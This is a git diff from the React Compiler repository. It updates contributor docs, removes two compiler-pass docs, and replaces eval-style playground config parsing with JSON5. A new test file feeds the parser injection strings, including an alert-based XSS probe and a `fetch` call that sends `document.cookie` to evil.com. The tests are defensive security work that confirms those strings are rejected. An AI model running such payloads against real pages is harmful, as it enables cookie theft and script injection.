|
||||
# Minimize a file that causes a compiler error
|
||||
yarn snap minimize <path>
|
||||
|
||||
# Minimize and update the file in-place with the minimized version
|
||||
yarn snap minimize --update <path>
|
||||
```
|
||||
|
||||
## Version Control
|
||||
|
||||
This repository uses Sapling (`sl`) for version control. Sapling is similar to Mercurial: there is not staging area, but new/deleted files must be explicitlyu added/removed.
|
||||
This repository uses Sapling (`sl`) for version control. Sapling is similar to Mercurial: there is not staging area, but new/deleted files must be explicitly added/removed.
|
||||
|
||||
```bash
|
||||
# Check status
|
||||
@@ -190,12 +229,12 @@ const UseEffectEventHook = addHook(
|
||||
Feature flags are configured in `src/HIR/Environment.ts`, for example `enableJsxOutlining`. Test fixtures can override the active feature flags used for that fixture via a comment pragma on the first line of the fixture input, for example:
|
||||
|
||||
```javascript
|
||||
// enableJsxOutlining @enableChangeVariableCodegen:false
|
||||
// enableJsxOutlining @enableNameAnonymousFunctions:false
|
||||
|
||||
...code...
|
||||
```
|
||||
|
||||
Would enable the `enableJsxOutlining` feature and disable the `enableChangeVariableCodegen` feature.
|
||||
Would enable the `enableJsxOutlining` feature and disable the `enableNameAnonymousFunctions` feature.
|
||||
|
||||
## Debugging Tips
|
||||
|
||||
@@ -204,20 +243,19 @@ Would enable the `enableJsxOutlining` feature and disable the `enableChangeVaria
|
||||
3. Look for `Impure`, `Render`, `Capture` effects on instructions
|
||||
4. Check the pass ordering in Pipeline.ts to understand when effects are populated vs validated
|
||||
|
||||
## Error Handling for Unsupported Features
|
||||
## Error Handling and Fault Tolerance
|
||||
|
||||
When the compiler encounters an unsupported but known pattern, use `CompilerError.throwTodo()` instead of `CompilerError.invariant()`. Todo errors cause graceful bailouts in production; Invariant errors are hard failures indicating unexpected/invalid states.
|
||||
The compiler is fault-tolerant: it runs all passes and accumulates errors on the `Environment` rather than throwing on the first error. This lets users see all compilation errors at once.
|
||||
|
||||
```typescript
|
||||
// Unsupported but expected pattern - graceful bailout
|
||||
CompilerError.throwTodo({
|
||||
reason: `Support [description of unsupported feature]`,
|
||||
loc: terminal.loc,
|
||||
});
|
||||
**Recording errors** — Passes record errors via `env.recordError(diagnostic)`. Errors are accumulated on `Environment.#errors` and checked at the end of the pipeline via `env.hasErrors()` / `env.aggregateErrors()`.
|
||||
|
||||
// Invariant is for truly unexpected/invalid states - hard failure
|
||||
CompilerError.invariant(false, {
|
||||
reason: `Unexpected [thing]`,
|
||||
loc: terminal.loc,
|
||||
});
|
||||
```
|
||||
**`tryRecord()` wrapper** — In Pipeline.ts, validation passes are wrapped in `env.tryRecord(() => pass(hir))` which catches thrown `CompilerError`s (non-invariant) and records them. Infrastructure/transformation passes are NOT wrapped in `tryRecord()` because later passes depend on their output being structurally valid.
|
||||
|
||||
**Error categories:**
|
||||
- `CompilerError.throwTodo()` — Unsupported but known pattern. Graceful bailout. Can be caught by `tryRecord()`.
|
||||
- `CompilerError.invariant()` — Truly unexpected/invalid state. Always throws immediately, never caught by `tryRecord()`.
|
||||
- Non-`CompilerError` exceptions — Always re-thrown.
|
||||
|
||||
**Key files:** `Environment.ts` (`recordError`, `tryRecord`, `hasErrors`, `aggregateErrors`), `Pipeline.ts` (pass orchestration), `Program.ts` (`tryCompileFunction` handles the `Result`).
|
||||
|
||||
**Test fixtures:** `__tests__/fixtures/compiler/fault-tolerance/` contains multi-error fixtures verifying all errors are reported.
|
||||
|
||||
@@ -1,5 +1,3 @@
|
||||
import type { PluginOptions } from
|
||||
'babel-plugin-react-compiler/dist';
|
||||
({
|
||||
{
|
||||
//compilationMode: "all"
|
||||
} satisfies PluginOptions);
|
||||
}
|
||||
@@ -1,14 +0,0 @@
|
||||
import { c as _c } from "react/compiler-runtime";
|
||||
export default function TestComponent(t0) {
|
||||
const $ = _c(2);
|
||||
const { x } = t0;
|
||||
let t1;
|
||||
if ($[0] !== x || true) {
|
||||
t1 = <Button>{x}</Button>;
|
||||
$[0] = x;
|
||||
$[1] = t1;
|
||||
} else {
|
||||
t1 = $[1];
|
||||
}
|
||||
return t1;
|
||||
}
|
||||
@@ -237,7 +237,7 @@ test('show internals button toggles correctly', async ({page}) => {
|
||||
test('error is displayed when config has syntax error', async ({page}) => {
|
||||
const store: Store = {
|
||||
source: TEST_SOURCE,
|
||||
config: `compilationMode: `,
|
||||
config: `{ compilationMode: }`,
|
||||
showInternals: false,
|
||||
};
|
||||
const hash = encodeStore(store);
|
||||
@@ -254,17 +254,17 @@ test('error is displayed when config has syntax error', async ({page}) => {
|
||||
const output = text.join('');
|
||||
|
||||
// Remove hidden chars
|
||||
expect(output.replace(/\s+/g, ' ')).toContain('Invalid override format');
|
||||
expect(output.replace(/\s+/g, ' ')).toContain(
|
||||
'Unexpected failure when transforming configs',
|
||||
);
|
||||
});
|
||||
|
||||
test('error is displayed when config has validation error', async ({page}) => {
|
||||
const store: Store = {
|
||||
source: TEST_SOURCE,
|
||||
config: `import type { PluginOptions } from 'babel-plugin-react-compiler/dist';
|
||||
|
||||
({
|
||||
config: `{
|
||||
compilationMode: "123"
|
||||
} satisfies PluginOptions);`,
|
||||
}`,
|
||||
showInternals: false,
|
||||
};
|
||||
const hash = encodeStore(store);
|
||||
@@ -283,37 +283,6 @@ test('error is displayed when config has validation error', async ({page}) => {
|
||||
expect(output.replace(/\s+/g, ' ')).toContain('Unexpected compilationMode');
|
||||
});
|
||||
|
||||
test('disableMemoizationForDebugging flag works as expected', async ({
|
||||
page,
|
||||
}) => {
|
||||
const store: Store = {
|
||||
source: TEST_SOURCE,
|
||||
config: `import type { PluginOptions } from 'babel-plugin-react-compiler/dist';
|
||||
|
||||
({
|
||||
environment: {
|
||||
disableMemoizationForDebugging: true
|
||||
}
|
||||
} satisfies PluginOptions);`,
|
||||
showInternals: false,
|
||||
};
|
||||
const hash = encodeStore(store);
|
||||
await page.goto(`/#${hash}`, {waitUntil: 'networkidle'});
|
||||
await page.waitForFunction(isMonacoLoaded);
|
||||
await expandConfigs(page);
|
||||
await page.screenshot({
|
||||
fullPage: true,
|
||||
path: 'test-results/07-config-disableMemoizationForDebugging-flag.png',
|
||||
});
|
||||
|
||||
const text =
|
||||
(await page.locator('.monaco-editor-output').allInnerTexts()) ?? [];
|
||||
const output = await formatPrint(text);
|
||||
|
||||
expect(output).not.toEqual('');
|
||||
expect(output).toMatchSnapshot('disableMemoizationForDebugging-output.txt');
|
||||
});
|
||||
|
||||
test('error is displayed when source has syntax error', async ({page}) => {
|
||||
const syntaxErrorSource = `function TestComponent(props) {
|
||||
const oops = props.
|
||||
|
||||
157
compiler/apps/playground/__tests__/parseConfigOverrides.test.mjs
Normal file
157
compiler/apps/playground/__tests__/parseConfigOverrides.test.mjs
Normal file
@@ -0,0 +1,157 @@
|
||||
/**
|
||||
* Copyright (c) Meta Platforms, Inc. and affiliates.
|
||||
*
|
||||
* This source code is licensed under the MIT license found in the
|
||||
* LICENSE file in the root directory of this source tree.
|
||||
*/
|
||||
|
||||
import assert from 'node:assert';
|
||||
import {test, describe} from 'node:test';
|
||||
import JSON5 from 'json5';
|
||||
|
||||
// Re-implement parseConfigOverrides here since the source uses TS imports
|
||||
// that can't be directly loaded by Node. This mirrors the logic in
|
||||
// compilation.ts exactly.
|
||||
function parseConfigOverrides(configOverrides) {
|
||||
const trimmed = configOverrides.trim();
|
||||
if (!trimmed) {
|
||||
return {};
|
||||
}
|
||||
return JSON5.parse(trimmed);
|
||||
}
|
||||
|
||||
describe('parseConfigOverrides', () => {
|
||||
test('empty string returns empty object', () => {
|
||||
assert.deepStrictEqual(parseConfigOverrides(''), {});
|
||||
assert.deepStrictEqual(parseConfigOverrides(' '), {});
|
||||
});
|
||||
|
||||
test('default config parses correctly', () => {
|
||||
const config = `{
|
||||
//compilationMode: "all"
|
||||
}`;
|
||||
const result = parseConfigOverrides(config);
|
||||
assert.deepStrictEqual(result, {});
|
||||
});
|
||||
|
||||
test('compilationMode "all" parses correctly', () => {
|
||||
const config = `{
|
||||
compilationMode: "all"
|
||||
}`;
|
||||
const result = parseConfigOverrides(config);
|
||||
assert.deepStrictEqual(result, {compilationMode: 'all'});
|
||||
});
|
||||
|
||||
test('config with single-line and block comments parses correctly', () => {
|
||||
const config = `{
|
||||
// This is a single-line comment
|
||||
/* This is a block comment */
|
||||
compilationMode: "all",
|
||||
}`;
|
||||
const result = parseConfigOverrides(config);
|
||||
assert.deepStrictEqual(result, {compilationMode: 'all'});
|
||||
});
|
||||
|
||||
test('config with trailing commas parses correctly', () => {
|
||||
const config = `{
|
||||
compilationMode: "all",
|
||||
}`;
|
||||
const result = parseConfigOverrides(config);
|
||||
assert.deepStrictEqual(result, {compilationMode: 'all'});
|
||||
});
|
||||
|
||||
test('nested environment options parse correctly', () => {
|
||||
const config = `{
|
||||
environment: {
|
||||
validateRefAccessDuringRender: true,
|
||||
},
|
||||
}`;
|
||||
const result = parseConfigOverrides(config);
|
||||
assert.deepStrictEqual(result, {
|
||||
environment: {validateRefAccessDuringRender: true},
|
||||
});
|
||||
});
|
||||
|
||||
test('multiple options parse correctly', () => {
|
||||
const config = `{
|
||||
compilationMode: "all",
|
||||
environment: {
|
||||
validateRefAccessDuringRender: false,
|
||||
},
|
||||
}`;
|
||||
const result = parseConfigOverrides(config);
|
||||
assert.deepStrictEqual(result, {
|
||||
compilationMode: 'all',
|
||||
environment: {validateRefAccessDuringRender: false},
|
||||
});
|
||||
});
|
||||
|
||||
test('rejects malicious IIFE injection', () => {
|
||||
const config = `(function(){ document.title = "hacked"; return {}; })()`;
|
||||
assert.throws(() => parseConfigOverrides(config));
|
||||
});
|
||||
|
||||
test('rejects malicious comma operator injection', () => {
|
||||
const config = `{
|
||||
compilationMode: (alert("xss"), "all")
|
||||
}`;
|
||||
assert.throws(() => parseConfigOverrides(config));
|
||||
});
|
||||
|
||||
test('rejects function call in value', () => {
|
||||
const config = `{
|
||||
compilationMode: eval("all")
|
||||
}`;
|
||||
assert.throws(() => parseConfigOverrides(config));
|
||||
});
|
||||
|
||||
test('rejects variable references', () => {
|
||||
const config = `{
|
||||
compilationMode: someVar
|
||||
}`;
|
||||
assert.throws(() => parseConfigOverrides(config));
|
||||
});
|
||||
|
||||
test('rejects template literals', () => {
|
||||
const config = `{
|
||||
compilationMode: \`all\`
|
||||
}`;
|
||||
assert.throws(() => parseConfigOverrides(config));
|
||||
});
|
||||
|
||||
test('rejects constructor calls', () => {
|
||||
const config = `{
|
||||
compilationMode: new String("all")
|
||||
}`;
|
||||
assert.throws(() => parseConfigOverrides(config));
|
||||
});
|
||||
|
||||
test('rejects arbitrary JS code', () => {
|
||||
const config = `fetch("https://evil.com?c=" + document.cookie)`;
|
||||
assert.throws(() => parseConfigOverrides(config));
|
||||
});
|
||||
|
||||
test('config with array values parses correctly', () => {
|
||||
const config = `{
|
||||
sources: ["src/a.ts", "src/b.ts"],
|
||||
}`;
|
||||
const result = parseConfigOverrides(config);
|
||||
assert.deepStrictEqual(result, {sources: ['src/a.ts', 'src/b.ts']});
|
||||
});
|
||||
|
||||
test('config with null values parses correctly', () => {
|
||||
const config = `{
|
||||
compilationMode: null,
|
||||
}`;
|
||||
const result = parseConfigOverrides(config);
|
||||
assert.deepStrictEqual(result, {compilationMode: null});
|
||||
});
|
||||
|
||||
test('config with numeric values parses correctly', () => {
|
||||
const config = `{
|
||||
maxLevel: 42,
|
||||
}`;
|
||||
const result = parseConfigOverrides(config);
|
||||
assert.deepStrictEqual(result, {maxLevel: 42});
|
||||
});
|
||||
});
|
||||
@@ -21,9 +21,6 @@ import {monacoConfigOptions} from './monacoOptions';
|
||||
import {IconChevron} from '../Icons/IconChevron';
|
||||
import {CONFIG_PANEL_TRANSITION} from '../../lib/transitionTypes';
|
||||
|
||||
// @ts-expect-error - webpack asset/source loader handles .d.ts files as strings
|
||||
import compilerTypeDefs from 'babel-plugin-react-compiler/dist/index.d.ts';
|
||||
|
||||
loader.config({monaco});
|
||||
|
||||
export default function ConfigEditor({
|
||||
@@ -105,22 +102,10 @@ function ExpandedEditor({
|
||||
_: editor.IStandaloneCodeEditor,
|
||||
monaco: Monaco,
|
||||
) => void = (_, monaco) => {
|
||||
// Add the babel-plugin-react-compiler type definitions to Monaco
|
||||
monaco.languages.typescript.typescriptDefaults.addExtraLib(
|
||||
//@ts-expect-error - compilerTypeDefs is a string
|
||||
compilerTypeDefs,
|
||||
'file:///node_modules/babel-plugin-react-compiler/dist/index.d.ts',
|
||||
);
|
||||
monaco.languages.typescript.typescriptDefaults.setCompilerOptions({
|
||||
target: monaco.languages.typescript.ScriptTarget.Latest,
|
||||
allowNonTsExtensions: true,
|
||||
moduleResolution: monaco.languages.typescript.ModuleResolutionKind.NodeJs,
|
||||
module: monaco.languages.typescript.ModuleKind.ESNext,
|
||||
noEmit: true,
|
||||
strict: false,
|
||||
esModuleInterop: true,
|
||||
allowSyntheticDefaultImports: true,
|
||||
jsx: monaco.languages.typescript.JsxEmit.React,
|
||||
// Enable comments in JSON for JSON5-style config
|
||||
monaco.languages.json.jsonDefaults.setDiagnosticsOptions({
|
||||
allowComments: true,
|
||||
trailingCommas: 'ignore',
|
||||
});
|
||||
};
|
||||
|
||||
@@ -157,8 +142,8 @@ function ExpandedEditor({
|
||||
</div>
|
||||
<div className="flex-1 border border-gray-300">
|
||||
<MonacoEditor
|
||||
path={'config.ts'}
|
||||
language={'typescript'}
|
||||
path={'config.json5'}
|
||||
language={'json'}
|
||||
value={store.config}
|
||||
onMount={handleMount}
|
||||
onChange={handleChange}
|
||||
|
||||
@@ -25,6 +25,7 @@ import BabelPluginReactCompiler, {
|
||||
type LoggerEvent,
|
||||
} from 'babel-plugin-react-compiler';
|
||||
import {transformFromAstSync} from '@babel/core';
|
||||
import JSON5 from 'json5';
|
||||
import type {
|
||||
CompilerOutput,
|
||||
CompilerTransformOutput,
|
||||
@@ -126,6 +127,14 @@ const COMMON_HOOKS: Array<[string, Hook]> = [
|
||||
],
|
||||
];
|
||||
|
||||
export function parseConfigOverrides(configOverrides: string): any {
|
||||
const trimmed = configOverrides.trim();
|
||||
if (!trimmed) {
|
||||
return {};
|
||||
}
|
||||
return JSON5.parse(trimmed);
|
||||
}
|
||||
|
||||
function parseOptions(
|
||||
source: string,
|
||||
mode: 'compiler' | 'linter',
|
||||
@@ -156,16 +165,7 @@ function parseOptions(
|
||||
});
|
||||
|
||||
// Parse config overrides from config editor
|
||||
let configOverrideOptions: any = {};
|
||||
const configMatch = configOverrides.match(/^\s*import.*?\n\n\((.*)\)/s);
|
||||
if (configOverrides.trim()) {
|
||||
if (configMatch && configMatch[1]) {
|
||||
const configString = configMatch[1].replace(/satisfies.*$/, '').trim();
|
||||
configOverrideOptions = new Function(`return (${configString})`)();
|
||||
} else {
|
||||
throw new Error('Invalid override format');
|
||||
}
|
||||
}
|
||||
const configOverrideOptions = parseConfigOverrides(configOverrides);
|
||||
|
||||
const opts: PluginOptions = parsePluginOptions({
|
||||
...parsedPragmaOptions,
|
||||
|
||||
@@ -14,11 +14,9 @@ export default function MyApp() {
|
||||
`;
|
||||
|
||||
export const defaultConfig = `\
|
||||
import type { PluginOptions } from 'babel-plugin-react-compiler/dist';
|
||||
|
||||
({
|
||||
{
|
||||
//compilationMode: "all"
|
||||
} satisfies PluginOptions);`;
|
||||
}`;
|
||||
|
||||
export const defaultStore: Store = {
|
||||
source: index,
|
||||
|
||||
@@ -32,6 +32,7 @@
|
||||
"hermes-eslint": "^0.25.0",
|
||||
"hermes-parser": "^0.25.0",
|
||||
"invariant": "^2.2.4",
|
||||
"json5": "^2.2.3",
|
||||
"lru-cache": "^11.2.2",
|
||||
"lz-string": "^1.5.0",
|
||||
"monaco-editor": "^0.52.0",
|
||||
|
||||
@@ -8,7 +8,7 @@ The idea of React Compiler is to allow developers to use React's familiar declar
|
||||
|
||||
* Bound the amount of re-rendering that happens on updates to ensure that apps have predictably fast performance by default.
|
||||
* Keep startup time neutral with pre-React Compiler performance. Notably, this means holding code size increases and memoization overhead low enough to not impact startup.
|
||||
* Retain React's familiar declarative, component-oriented programming model. Ie, the solution should not fundamentally change how developers think about writing React, and should generally _remove_ concepts (the need to use React.memo(), useMemo(), and useCallback()) rather than introduce new concepts.
|
||||
* Retain React's familiar declarative, component-oriented programming model. i.e, the solution should not fundamentally change how developers think about writing React, and should generally _remove_ concepts (the need to use React.memo(), useMemo(), and useCallback()) rather than introduce new concepts.
|
||||
* "Just work" on idiomatic React code that follows React's rules (pure render functions, the rules of hooks, etc).
|
||||
* Support typical debugging and profiling tools and workflows.
|
||||
* Be predictable and understandable enough by React developers — i.e. developers should be able to quickly develop a rough intuition of how React Compiler works.
|
||||
@@ -19,7 +19,7 @@ The idea of React Compiler is to allow developers to use React's familiar declar
|
||||
The following are explicitly *not* goals for React Compiler:
|
||||
|
||||
* Provide perfectly optimal re-rendering with zero unnecessary recomputation. This is a non-goal for several reasons:
|
||||
* The runtime overhead of the extra tracking involved can outweight the cost of recomputation in many cases.
|
||||
* The runtime overhead of the extra tracking involved can outweigh the cost of recomputation in many cases.
|
||||
* In cases with conditional dependencies it may not be possible to avoid recomputing some/all instructions.
|
||||
* The amount of code may regress startup times, which would conflict with our goal of neutral startup performance.
|
||||
* Support code that violates React's rules. React's rules exist to help developers build robust, scalable applications and form a contract that allows us to continue improving React without breaking applications. React Compiler depends on these rules to safely transform code, and violations of rules will therefore break React Compiler's optimizations.
|
||||
@@ -42,9 +42,9 @@ React Compiler has two primary public interfaces: a Babel plugin for transformin
|
||||
The core of the compiler is largely decoupled from Babel, using its own intermediate representations. The high-level flow is as follows:
|
||||
|
||||
- **Babel Plugin**: Determines which functions in a file should be compiled, based on the plugin options and any local opt-in/opt-out directives. For each component or hook to be compiled, the plugin calls the compiler, passing in the original function and getting back a new AST node which will replace the original.
|
||||
- **Lowering** (BuildHIR): The first step of the compiler is to convert the Babel AST into React Compiler's primary intermediate representation, HIR (High-level Intermediate Representation). This phase is primarily based on the AST itself, but currently leans on Babel to resolve identifiers. The HIR preserves the precise order-of-evaluation semantics of JavaScript, resolves break/continue to their jump points, etc. The resulting HIR forms a control-flow graph of basic blocks, each of which contains zero or more consecutive instructions followed by a terminal. The basic blocks are stored in reverse postorder, such that forward iteration of the blocks allows predecessors to be visited before successors _unless_ there is a "back edge" (ie a loop).
|
||||
- **Lowering** (BuildHIR): The first step of the compiler is to convert the Babel AST into React Compiler's primary intermediate representation, HIR (High-level Intermediate Representation). This phase is primarily based on the AST itself, but currently leans on Babel to resolve identifiers. The HIR preserves the precise order-of-evaluation semantics of JavaScript, resolves break/continue to their jump points, etc. The resulting HIR forms a control-flow graph of basic blocks, each of which contains zero or more consecutive instructions followed by a terminal. The basic blocks are stored in reverse postorder, such that forward iteration of the blocks allows predecessors to be visited before successors _unless_ there is a "back edge" (i.e. a loop).
|
||||
- **SSA Conversion** (EnterSSA): The HIR is converted to HIR form, such that all Identifiers in the HIR are updated to an SSA-based identifier.
|
||||
- Validation: We run various validation passes to check that the input is valid React, ie that it does not break the rules. This includes looking for conditional hook calls, unconditional setState calls, etc.
|
||||
- Validation: We run various validation passes to check that the input is valid React, i.e. that it does not break the rules. This includes looking for conditional hook calls, unconditional setState calls, etc.
|
||||
- **Optimization**: Various passes such as dead code elimination and constant propagation can generally improve performance and reduce the amount of instructions to be optimized later.
|
||||
- **Type Inference** (InferTypes): We run a conservative type inference pass to identify certain key types of data that may appear in the program that are relevant for further analysis, such as which values are hooks, primitives, etc.
|
||||
- **Inferring Reactive Scopes**: Several passes are involved in determining groups of values that are created/mutated together and the set of instructions involved in creating/mutating those values. We call these groups "reactive scopes", and each can have one or more declarations (or occasionally a reassignment).
|
||||
|
||||
@@ -17,7 +17,32 @@ yarn snap:build
|
||||
yarn snap --watch
|
||||
```
|
||||
|
||||
`snap` is our custom test runner, which creates "golden" test files that have the expected output for each input fixture, as well as the results of executing a specific input (or sequence of inputs) in both the uncompiled and compiler versions of the input.
|
||||
`snap` is our custom test runner, which creates "golden" test files that have the expected output for each input fixture, as well as the results of executing a specific input (or sequence of inputs) in both the uncompiled and compiler versions of the input.
|
||||
|
||||
### Compiling Arbitrary Files
|
||||
|
||||
You can compile any file (not just fixtures) using:
|
||||
|
||||
```sh
|
||||
# Compile a file and see the output
|
||||
yarn snap compile <path>
|
||||
|
||||
# Compile with debug output to see the state after each compiler pass
|
||||
# This is an alternative to `yarn snap -d -p <pattern>` when you don't have a fixture file yet
|
||||
yarn snap compile --debug <path>
|
||||
```
|
||||
|
||||
### Minimizing Test Cases
|
||||
|
||||
To reduce a failing test case to its minimal reproduction:
|
||||
|
||||
```sh
|
||||
# Minimize a file that causes a compiler error
|
||||
yarn snap minimize <path>
|
||||
|
||||
# Minimize and update the file in-place
|
||||
yarn snap minimize --update <path>
|
||||
```
|
||||
|
||||
When contributing changes, we prefer to:
|
||||
* Add one or more fixtures that demonstrate the current compiled output for a particular combination of input and configuration. Send this as a first PR.
|
||||
|
||||
@@ -70,9 +70,6 @@ The `occursCheck` method prevents infinite types by detecting when a type variab
|
||||
- `DeclareContext` and `LoadContext` generate no type equations (intentionally untyped)
|
||||
- `StoreContext` with `Const` kind does propagate the rvalue type to enable ref inference through context variables
|
||||
|
||||
### Event Handler Inference
|
||||
When `enableInferEventHandlers` is enabled, JSX props starting with "on" (e.g., `onClick`) on built-in DOM elements (excluding web components with hyphens) are inferred as `Function<BuiltInEventHandlerId>`.
|
||||
|
||||
## TODOs
|
||||
1. **Hook vs Function type ambiguity**:
|
||||
> "TODO: callee could be a hook or a function, so this type equation isn't correct. We should change Hook to a subtype of Function or change unifier logic."
|
||||
|
||||
@@ -205,8 +205,6 @@ if ($[0] !== "source_hash_abc123") {
|
||||
}
|
||||
```
|
||||
|
||||
### Change Detection for Debugging
|
||||
When `enableChangeDetectionForDebugging` is configured, additional code is generated to detect when cached values unexpectedly change.
|
||||
|
||||
### Labeled Breaks
|
||||
Control flow with labeled breaks (for early returns or loop exits) uses `codegenLabel` to generate consistent label names:
|
||||
@@ -231,7 +229,6 @@ type CodegenFunction = {
|
||||
prunedMemoBlocks: number; // Scopes that were pruned
|
||||
prunedMemoValues: number; // Values in pruned scopes
|
||||
hasInferredEffect: boolean;
|
||||
hasFireRewrite: boolean;
|
||||
};
|
||||
```
|
||||
|
||||
|
||||
@@ -1,203 +0,0 @@
|
||||
# transformFire
|
||||
|
||||
## File
|
||||
`src/Transform/TransformFire.ts`
|
||||
|
||||
## Purpose
|
||||
This pass transforms `fire(fn())` calls inside `useEffect` lambdas into calls to a `useFire` hook that provides stable function references. The `fire()` function is a React API that allows effect callbacks to call functions with their current values while maintaining stable effect dependencies.
|
||||
|
||||
Without this transform, if an effect depends on a function that changes every render, the effect would re-run on every render. The `useFire` hook provides a stable wrapper that always calls the latest version of the function.
|
||||
|
||||
## Input Invariants
|
||||
- The `enableFire` feature flag must be enabled
|
||||
- `fire()` calls must only appear inside `useEffect` lambdas
|
||||
- Each `fire()` call must have exactly one argument (a function call expression)
|
||||
- The function being fired must be consistent across all `fire()` calls in the same effect
|
||||
|
||||
## Output Guarantees
|
||||
- All `fire(fn(...args))` calls are replaced with direct calls `fired_fn(...args)`
|
||||
- A `useFire(fn)` hook call is inserted before the `useEffect`
|
||||
- The fired function is stored in a temporary and captured by the effect
|
||||
- The original function `fn` is removed from the effect's captured context
|
||||
|
||||
## Algorithm
|
||||
|
||||
### Phase 1: Find Fire Calls
|
||||
```typescript
|
||||
function replaceFireFunctions(fn: HIRFunction, context: Context): void {
|
||||
// For each useEffect call instruction:
|
||||
// 1. Find all fire() calls in the effect lambda
|
||||
// 2. Validate they have proper arguments
|
||||
// 3. Track which functions are being fired
|
||||
|
||||
for (const [, block] of fn.body.blocks) {
|
||||
for (const instr of block.instructions) {
|
||||
if (isUseEffectCall(instr)) {
|
||||
const lambda = getEffectLambda(instr);
|
||||
findAndReplaceFireCalls(lambda, fireFunctions);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
### Phase 2: Insert useFire Hooks
|
||||
For each function being fired, insert a `useFire` call:
|
||||
```typescript
|
||||
// Before:
|
||||
useEffect(() => {
|
||||
fire(foo(props));
|
||||
}, [foo, props]);
|
||||
|
||||
// After:
|
||||
const t0 = useFire(foo);
|
||||
useEffect(() => {
|
||||
t0(props);
|
||||
}, [t0, props]);
|
||||
```
|
||||
|
||||
### Phase 3: Replace Fire Calls
|
||||
Transform `fire(fn(...args))` to `firedFn(...args)`:
|
||||
```typescript
|
||||
// The fire() wrapper is removed
|
||||
// The inner function call uses the useFire'd version
|
||||
fire(foo(x, y)) → t0(x, y) // where t0 = useFire(foo)
|
||||
```
|
||||
|
||||
### Phase 4: Validate No Remaining Fire Uses
|
||||
```typescript
|
||||
function ensureNoMoreFireUses(fn: HIRFunction, context: Context): void {
|
||||
// Ensure all fire() uses have been transformed
|
||||
// Report errors for any remaining fire() calls
|
||||
}
|
||||
```
|
||||
|
||||
## Edge Cases
|
||||
|
||||
### Fire Outside Effect
|
||||
`fire()` calls outside `useEffect` lambdas cause a validation error:
|
||||
```javascript
|
||||
// ERROR: fire() can only be used inside useEffect
|
||||
function Component() {
|
||||
fire(callback());
|
||||
}
|
||||
```
|
||||
|
||||
### Mixed Fire and Non-Fire Calls
|
||||
All calls to the same function must either all use `fire()` or none:
|
||||
```javascript
|
||||
// ERROR: Cannot mix fire() and non-fire calls
|
||||
useEffect(() => {
|
||||
fire(foo(x));
|
||||
foo(y); // Error: foo is used with and without fire()
|
||||
});
|
||||
```
|
||||
|
||||
### Multiple Arguments to Fire
|
||||
`fire()` accepts exactly one argument (the function call):
|
||||
```javascript
|
||||
// ERROR: fire() takes exactly one argument
|
||||
fire(foo, bar) // Invalid
|
||||
fire() // Invalid
|
||||
```
|
||||
|
||||
### Nested Effects
|
||||
Fire calls in nested effects are validated separately:
|
||||
```javascript
|
||||
useEffect(() => {
|
||||
useEffect(() => { // Error: nested effects not allowed
|
||||
fire(foo());
|
||||
});
|
||||
});
|
||||
```
|
||||
|
||||
### Deep Scope Handling
|
||||
The pass handles fire calls within deeply nested scopes inside effects:
|
||||
```javascript
|
||||
useEffect(() => {
|
||||
if (cond) {
|
||||
while (x) {
|
||||
fire(foo(x)); // Still transformed correctly
|
||||
}
|
||||
}
|
||||
});
|
||||
```
|
||||
|
||||
## TODOs
|
||||
None in the source file.
|
||||
|
||||
## Example
|
||||
|
||||
### Fixture: `transform-fire/basic.js`
|
||||
|
||||
**Input:**
|
||||
```javascript
|
||||
// @enableFire
|
||||
function Component(props) {
|
||||
const foo = (props_0) => {
|
||||
console.log(props_0);
|
||||
};
|
||||
useEffect(() => {
|
||||
fire(foo(props));
|
||||
});
|
||||
return null;
|
||||
}
|
||||
```
|
||||
|
||||
**After TransformFire:**
|
||||
```
|
||||
bb0 (block):
|
||||
[1] $25 = Function @context[] ... // foo definition
|
||||
[2] StoreLocal Const foo$32 = $25
|
||||
[3] $45 = LoadGlobal import { useFire } from 'react/compiler-runtime'
|
||||
[4] $46 = LoadLocal foo$32
|
||||
[5] $47 = Call $45($46) // useFire(foo)
|
||||
[6] StoreLocal Const #t44$44 = $47
|
||||
[7] $34 = LoadGlobal(global) useEffect
|
||||
[8] $35 = Function @context[#t44$44, props$24] ...
|
||||
<<anonymous>>():
|
||||
[1] $37 = LoadLocal #t44$44 // Load the fired function
|
||||
[2] $38 = LoadLocal props$24
|
||||
[3] $39 = Call $37($38) // Call it directly (no fire wrapper)
|
||||
[4] Return Void
|
||||
[9] Call $34($35) // useEffect(lambda)
|
||||
[10] Return null
|
||||
```
|
||||
|
||||
**Generated Code:**
|
||||
```javascript
|
||||
import { useFire as _useFire } from "react/compiler-runtime";
|
||||
function Component(props) {
|
||||
const $ = _c(4);
|
||||
let t0;
|
||||
if ($[0] === Symbol.for("react.memo_cache_sentinel")) {
|
||||
t0 = (props_0) => {
|
||||
console.log(props_0);
|
||||
};
|
||||
$[0] = t0;
|
||||
} else {
|
||||
t0 = $[0];
|
||||
}
|
||||
const foo = t0;
|
||||
const t1 = _useFire(foo);
|
||||
let t2;
|
||||
if ($[1] !== props || $[2] !== t1) {
|
||||
t2 = () => {
|
||||
t1(props);
|
||||
};
|
||||
$[1] = props;
|
||||
$[2] = t1;
|
||||
$[3] = t2;
|
||||
} else {
|
||||
t2 = $[3];
|
||||
}
|
||||
useEffect(t2);
|
||||
return null;
|
||||
}
|
||||
```
|
||||
|
||||
Key observations:
|
||||
- `useFire` is imported from `react/compiler-runtime`
|
||||
- `fire(foo(props))` becomes `t1(props)` where `t1 = _useFire(foo)`
|
||||
- The effect now depends on `t1` (stable) and `props` (reactive)
|
||||
- The original `foo` function is memoized and passed to `useFire`
|
||||
@@ -1,174 +0,0 @@
|
||||
# lowerContextAccess
|
||||
|
||||
## File
|
||||
`src/Optimization/LowerContextAccess.ts`
|
||||
|
||||
## Purpose
|
||||
This pass optimizes `useContext` calls by generating selector functions that extract only the needed properties from the context. Instead of subscribing to the entire context object, components can subscribe to specific slices, enabling more granular re-rendering.
|
||||
|
||||
When a component destructures specific properties from a context, this pass transforms the `useContext` call to use a selector-based API that only triggers re-renders when the selected properties change.
|
||||
|
||||
## Input Invariants
|
||||
- The `lowerContextAccess` configuration must be set with:
|
||||
- `source`: The module to import the lowered context hook from
|
||||
- `importSpecifierName`: The name of the hook function
|
||||
- The function must use `useContext` with destructuring patterns
|
||||
- Only object destructuring patterns with identifier values are supported
|
||||
|
||||
## Output Guarantees
|
||||
- `useContext(Ctx)` calls with destructuring are replaced with selector calls
|
||||
- A selector function is generated that extracts the needed properties
|
||||
- The return type is changed from object to array for positional access
|
||||
- Unused original `useContext` calls are removed by dead code elimination
|
||||
|
||||
## Algorithm
|
||||
|
||||
